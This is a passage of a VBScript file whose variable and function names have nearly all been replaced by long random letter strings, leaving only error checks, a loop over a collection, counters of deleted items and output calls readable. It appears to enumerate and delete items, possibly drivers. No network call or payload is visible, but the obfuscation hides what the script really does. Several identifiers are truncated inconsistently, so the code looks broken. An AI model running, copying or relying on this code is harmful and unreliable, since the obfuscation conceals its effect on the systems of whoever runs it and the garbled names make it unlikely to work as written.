set fUxZGcVlCUVHbhwJfWoKDVksfZDCuSFHpVWnwhqFCJhOiDOAthsZnMdBZAaSwCjHnbeUlgNqCkIRDdfJXbgFlJFajQrgWrBOHfxTpwWBrHQtrrosRCJZHzBKsUuOcXKHylfeIWuwjUYpQhNxNCsjYlmsKTLwYBkTCiqVtmMuvs = ylVPcCewxbWqXVwwEjRNgnanBdEwIKluDsDwkcDaRqQFAAYcSMUDwbsfKAhsmHNokpmpLHJqWwuZLwYAAFyWkkJksfsuVnvNCZinuNVsjsVORCTXBCSoibdjVjlPmfQWgDsAktDHSPtVkWHISHliTlrUIPmxKKnoKMtRTFPZKV.PrBorwzrBbbrMdDnPMQOhBPmDuQbXUlMcfeTfGMtbfaTIJQHOCKzuXJQPlZvuHbZAMLlAVnRUrpbkIOREhNZmLcdNyUODwHRuRcUZgJoGshoeAmrPthGEcAWgTOMXpMYBTvdsknxfKFRestOOAlTIqrrVuSviNGdCEMmSTSvWR("fRPVXZjyayUDxngLYvbWIvRsIkNYDLtBstvStzHwCGYQxqrQNQePFRjuGSzrdQNgxtCVmCJgYSJcosORFbYhPerHWEBIunHiLfPgAQuCRFIKRReYmLZwEfjexLPSFSCBnbvJkYGvyBRfLWfYwBssuqGTEohEqfEOFNvFLGiaRu")

else

VpHYhVvPxBFktYZUpOnSTUnZsisYOiEpOXPdroAkaqUwMhcXOyDjkgsbhgYJkxMLCMYPPbqQmnEfGVsLKPKrAqCAYQubFChRFooEyMBigqQiYBPwEBXScxMjTLjSqRHfnDwYwIszVqOQpMrIQxpliwXxcOfkWDSEsDaqIZhAns = JlRNvQfSIVfjgiwXxCPxIaTAtSxcoearKVjQCFTAtCsRFUtLbroMOTjvSEosJRnrZlPHzdJAreWdYIMwqndrAowZLEPFKEZCUTqMvlIFkQLfLKnKmBpNOEutFwnxdGUmKuFbQXSQrOpihJBMsjExnfTgrnEuhvIbXOaJJLiBwp

exit function

end if

if Err.Number <> zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr boZyjFqBusztkoRTTMitkmwWcWEOGpJcRUVOWnJTRhLyrSAMlYiEtgSUFUgpETkFkyeaKPjundnqvpRplwEyGkdsLAbAzDKosJvjrmgoEPQmqCsuZfMRxDZLRCJEoAqZdZmOLoRAsgoXmNZCHAbuOxogIZeKiDYDTAiOaApIbT & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & boZyjFqBusztkoRTTMitkmwWcWEOGpJcRUVOWnJTRhLyrSAMlYiEtgSUFUgpETkFkyeaKPjundnqvpRplwEyGkdsLAbAzDKosJvjrmgoEPQmqCsuZfMRxDZLRCJEoAqZdZmOLoRAsgoXmNZCHAbuOxogIZeKiDYDTAiOaApIbT & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRc

& HXkYpDmmscceVYnQpLdypKwdwiRycXNERFIsxHjOxYuZlsxhAcPHCOJDylGSmQYZZxJKapPpUSeEfyKfLLDineXXrPjdsFfMNwEHSmyqrQIRDtloCZMsyFNyTCLUVFjrIMsJIFcYqaLZhnKFUCBIaWCdmymscosSWcDnlbOrQp & PeEJjsRjcZJZhMDUxgxyEBiWIoPvZbxJAKhxNyDFNStCEvQGrrSVsYtHlhpixNTtORPmOujMoVxgqLsALfvCkybisxulvnlpYedwAKvtrvmIEWqcJqPkyOOaCxesjqxufnAIMxwxjwQgbZxaSGadgbVruKBxsalGwgpPOUlvKC(Err.Number) & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & Err.VaNdgUFYXnAwaSSZJagbMIaGxnpFCEFGhDkFWYhxaDzUmtMdGqherROyEgZUrBiUZhjIYEuHvaoKtxqmmlkUgdgBZTzneYmRVfXKvRxpsaVqbvgIguxlwWfaVWiNXdMJxjZtcMxlMDjPhvTFUWNloVVdDxHGeVCCCXarzKPdQe

exit function

end if

ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF = 0

ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkFDeleted = 0

for each tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll in fUxZGcVlCUVHbhwJfWoKDVksfZDCuSFHpVWnwhqFCJhOiDOAthsZnMdBZAaSwCjHnbeUlgNqCkIRDdfJXbgFlJFajQrgWrBOHfxTpwWBrHQtrrosRCJZHzBKsUuOcXKHylfeIWuwjUYpQhNxNCsjYlmsKTLwYBkTCiqVtmMuvs

ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF = ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF + 1

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr POrjrkcoxEQHjNyaBONNKSJssSytEgatNTdAmbLNibvLOGygsmBwaByzeiNhOgYTrKuMRXjDdRNhhURqhIeBEvXRNXmByoJSwNdUhbxZswYKkTorGEyyNilBnrgXrnsLzjbWsxSjiDaVdEGKLvDRXyLcKmzpdTysjOUuJwBMGV & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr sUVRYGJYCMiGiumVcrUyckPROeikDuoyRYlnItxFGkhnMYdBUoHVlmAmTqJFxbXbUUMuRcNHvcKASicuyRbQyjidjIOwkHrAwJKpFMrCtHjgIfeBnVOlvwEcGwVQBZLfHjNFbwWEVKdaSzvgtxqoHdMGwrNbQPdbIrEtPJTsKq & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQe

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr ZEmlSPbnbgphWvDDWjnshwTRejKSCsbaXbNaDPvMzhCqbNxtYgGKYasKlVReyfJOSSWInFZusdcpKGfYjgJCUQqYTShdSwbibvLPlZzlJzHGqShcYPevPJVEfEQFlOQhxxhFdkUtYnkNynftwJLMgyXENJiLgXzJwhPwlnbsmK & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.BfiEkjBeHIASGmZmdBRdmtYavziJymOnlctuxaJlujVkaJdgLTNXzTjPIrpTfSnoHoUDXGbimoZWKCQKSouRSXBOaEiGrVaVaVawGPocOCbuHeOFkEjQeJqGhcxPJGIOEjNWvlLvnCyuQoTEmVclTsUtn

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr AKMdVzJGxuTNqtaYkWWDsQOsMPPkxKakvVhxsqqJDCoibIWyUfubFlydCMmDTVQuXUgfJsivYhBRUTzveWBEEGusEhgDuXCIuMSEtIbnMpNLcRnEwcbnkzZNypvzoyRawaTgbzcWtqnwtESEtJGFKmXOTRyBSOOcpAwonMdaws & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.bXhxXxgbJleKXprQNjPrVWHrivBlxwbNwfOlxYncXnmHlnSjxPnBnMQelvOchXdBrWJSyeUHmqDEELKOZjVoZDruZKsVZbYEhLXxacdKfGUKsmXDBLgcGnYgkdgzPOjrlwagiZmBtpDgLAzVEsBNhFYTK

strDriverFqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQeNWbyFEAcwMqdIcAGr = tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQeNWbyFEAcwMqdIcAGr

if Err.Number = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr WEuoWyIMdeItKsotSoYqSElbOgxsSFbrVmstzLQSvKkjzTjcMsbPdzmliCeUhqFfYRmvVowIAOQYEmUJMyWbOwLDjEhPjMlQLFOOEMpbPaeZCVhZAXWgQuSydEkGIbHyeYSfkzPpNPdSDuyXzySbFjbLIoGTqadRXGxTaSwYKQ & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & tvBYUwiEaxLishjCJQrSsZIHuJxgmTEUwpqFzsVIITUCefoUFJREXtacVCrwtrgdfFsuhJPQPsDQmtsAMtprnLExiIApUacFLQkTEtqMyJXekuOxZTBEOGDnAYsdzFglVZRRzWjmdBWsGbBBwlqRqYymORqNozkpaTMdsqbGll.FqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlU

ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkFDeleted = ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkFDeleted + 1

else

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr rxZtfZdwtcuWDNxUhfixaVSsCQnvQaevhPMKRvjqKXvCvbnIGBCZzBtDXlWXHrcsgmMJDoZApwpJdcPVRRPqfZtfWdTzEdfOeTmehSHfqjdpmzRLTStrTWcsjZTtQbvDToUxhYuUyRBJjXqefuDwpZYscWlggvtHEPGRLOgyNU & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & strDriverFqDewpnTVGdNiYBSOjKTkqxQHAMIjaSPXDdUSEUsLulQfxKeIXZensVAhqIyvtoAFxuGmgosPDbYHPWgPxfWopPBWyGZZGrysGqyKBNwGNRwTzfHwqXRSwIoNHIegDvXVJyHPNcwHgAkOfahygjlUUeQeNWbyFEAcwMqdIcAGr & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLk

call rGFLipnPMUmLGGlLXMJaGdZSiBzmtcahLWTZiizKPlAFZkTAkqjzcRMpMHFgebbWUkRqngvPIavjQlqUoKiTmYrdEnLIKmJHVaPzgFOuoKreDIAiCuQoVwZrdMRSLfOuaizisBuJMhgSwqOSWCOqEkjjGzhHcdBFkcZRbjvHGT()

Err.BUApaeVFkEaaSfRsaduaMTjIfmgkjrJFZFEfbEtTKGmTDiFtCpBUpmRtyWXPlDeHIqViNgRmVDwkcsxNRWbcXoCDpszLkzVLZurjHbDPrkMmTLRObKHfhmHMHJYUIUFMEIqRPYgBtVsqmZvtCAttiKGaJRKowKIfsvFXHiEPdm

end if

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr fRqqtHiFAkBRjCrUTebwyRuSNrErvLVzODhHZdrsmfrYYYgBKEiZLLpflyTTFToClGTPWMXKcKmGNkGmFgTeYEoItxaBWxsFsDafWTXuQLCbvqxQfWHXoqqMDdZtkDHKKUvvOxiEkRGPNSfoDNGiZsVKDTsGQBybbkOneDRQSV & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkF

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr TVmypdyBfjfmWKtnFiOCOoaspNlVYbJBaQYirGCdRBMoXJgqRrxadaTZOlfcNHjSsvDLLEwLgInbvkGMwJnaHLOHZlDExhvwSBdbFgIJgMwOeWoMLHDxQXYqnjLHYJvVntUNKXlTTDcwAdkMGQFbCbLXqZgsbadbSoTaYvXrzc & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & ORHenSdjgxTPLNBZaNnFIFAoMqUsUuCqBrGASwCdlzTdJEKfuAZUWrCDJuuIRtfPjPMvshZaDqEuTpSwzwtUEweLpwKOnHiGaEBGCGTdeuxljHVeoxaSNfXZesRAYRyeZvzNdMJXDiFaXUtkrGJQfiVbluKYOyozBjYuaxJkkFDeleted

VpHYhVvPxBFktYZUpOnSTUnZsisYOiEpOXPdroAkaqUwMhcXOyDjkgsbhgYJkxMLCMYPPbqQmnEfGVsLKPKrAqCAYQubFChRFooEyMBigqQiYBPwEBXScxMjTLjSqRHfnDwYwIszVqOQpMrIQxpliwXxcOfkWDSEsDaqIZhAns = zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc

end function

function RjDneIvupyWiNmlnwAfqmtnBWkdIrXmdOyoSeSCONDmosZaGjHlLyrjtTzKVaCDqXzerAXblleDNQWEPCczACaLVRYRYgauCupNuTDFpqQdLrJCHqGmYppgljCTWitNgUUHbMgqmZreaFiqhiUsLLwbYKdbhkZpPoECleEBHtf(UvzlurzSjlUkVfkMrNUpLNbuyDIjhcUDMeyEaBIcfAIQucTqgBTaxbWpOUmaBBGTJEVeFKjXapuMEhXjwztOajKTmJkRQzmibViBdoSBfXhmxcMhFznmEkrPQRxgAWcCNAlHAnlaClAIoxCeSbKuXZCtDOPmZIhdMVwbCjiMag, nNwiGOuviQXcWlUBPDtzwrgarQsuxRFHkCqtJmCaVkuKmAfpqctAkMdqGeWaCBWFFkMIUgtvshuSurkxAQJWIqKLhPZpDMoySOwjUHoPMICeNdwLxnXszKjmuCJzXDKMVaZKjbhBeEgGOKsIvxpStCuSDBffkmWygAPHtxxGTq, JAbQfcFiJujPlzcxMWZnQovSxKVCUGHwTArEjiqaFUifJhlUwFheatDNDZCevkaFYslVZWbWeRJqwYNQneusiedycvsrYsIToBXCKzltHGjybqgoxJovkmzwBXGlhGQZgTIsjOgPZWpOYqJdQrfwSTfoWBHHodfihDjvPcRyAG)

zJYBwBAJEsSbKNqHiyaoHPvUGEvwGpqWeUJjjdAPLSearkZmNPjTtjRhhHJJfUiPcvsWRUdwHVnVRkNfZdsFMNNnKmlachppyQQMfdTqlsnBVQASpgETERvbZIbfglMYvUjTFTREGCcRoztVndWCrKyXLBIRtjlMpmzjCzQZTc OFJzkLqYdSxUQSapZBgpKSNZAqkmQpZSNPZMomLVDxIsXxZCSWVbeCcyBDDCqIMPNUOjQFWhsiefEOjeLgerArcsyPtByYCacVSUznDHPqdHUavHTvaypvnpcrCUwGHBqSMJyJNXXRSEzCkjqEXFghRGNHiwcJGnQuHheauAwc, jsyHWzFQMTLuZhCsOemdEHFWqhlgzXDFCsFQezLGxnOUsrSbEJIocJxFahpnzOiENxZpAgUuhFsMTLAigKgRJpqDGKGNLkjHNwmgKjwqHClLqNqWRFNqUXCfaFESEAHoDCNwseESdpxySxMDQcrfEIdIjABiItrHNQbePLNFJb

else

RjDneIvupyWiNmlnwAfqmtnBWkdIrXmdOyoSeSCONDmosZaGjHlLyrjtTzKVaCDqXzerAXblleDNQWEPCczACaLVRYRYgauCupNuTDFpqQdLrJCHqGmYppgljCTWitNgUUHbMgqmZreaFiqhiUsLLwbYKdbhkZpPoECleEBHtf = JlRNvQfSIVfjgiwXxCPxIaTAtSxcoearKVjQCFTAtCsRFUtLbroMOTjvSEosJRnrZlPHzdJAreWdYIMwqndrAowZLEPFKEZCUTqMvlIFkQLfLKnKmBpNOEutFwnxdGUmKuFbQXSQrOpihJBMsjExnfTgrnEuhvIbXOaJJLiBwp

exit function

end if

if Err.Number <> zeNeuTxRIgNDXceSTyJnePrLjojgmCVQmyHTFfNKbOruhYURoJFRUSsiQYrwuBHQbSXOmWbBTqOFeiAULpGhUfDQcmvECIYYRdOblRulbyZNViNJAOdbScofRDObZghjXPltrODSIKXTDPHEgpZrrnDheqOLpNGGhdLhplQeWc then

DZVrKfXhxqxZdYBPYDdPpffsxyLneDraakrjzcGPKFMxSNygQYNFODmMPhjmyYBWMPcRVoJWYJPqtLCgHFRBGuIDehbnlfuHrBZUIuwKiircOZhQQvcutiAaLiXfIumehajNxvglikcdspAGrVUXbeWWEHoVpGwMjDdXUPJaVI.lEbrgALvBABdnTXpnxyCFNOxfUHvCByyMVahcylimwbkaSeNlVDXUzwAZfSJxOgqbFZLXaOvkRfYSjsZIQzicGDLHfyNjpSMrtBWcoDeKRcFTgCFokPDWsLPTStNrNApoqMvBdkWIimyDpQBYqrZjMIdnUMkyjhqPQjUTOFtSr boZyjFqBusztkoRTTMitkmwWcWEOGpJcRUVOWnJTRhLyrSAMlYiEtgSUFUgpETkFkyeaKPjundnqvpRplwEyGkdsLAbAzDKosJvjrmgoEPQmqCsuZfMRxDZLRCJEoAqZdZmOLoRAsgoXmNZCHAbuOxogIZeKiDYDTAiOaApIbT & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRcGXeASXqoVVuiVAVZVUc & boZyjFqBusztkoRTTMitkmwWcWEOGpJcRUVOWnJTRhLyrSAMlYiEtgSUFUgpETkFkyeaKPjundnqvpRplwEyGkdsLAbAzDKosJvjrmgoEPQmqCsuZfMRxDZLRCJEoAqZdZmOLoRAsgoXmNZCHAbuOxogIZeKiDYDTAiOaApIbT & oEWyCeOIopzxUuCUsBCXdXnTVChQlkYiytIUCTQYBKcGoUApESqZpqKJUZIukVHCLIoTndLdSpWBfmNlWVWpgYmlBOuKHkoFfgENAufBkJEkztIebLkGyqhcrjZRODjRSnAeVCeNLkMymZfpwEIWRRc

exit function

end if

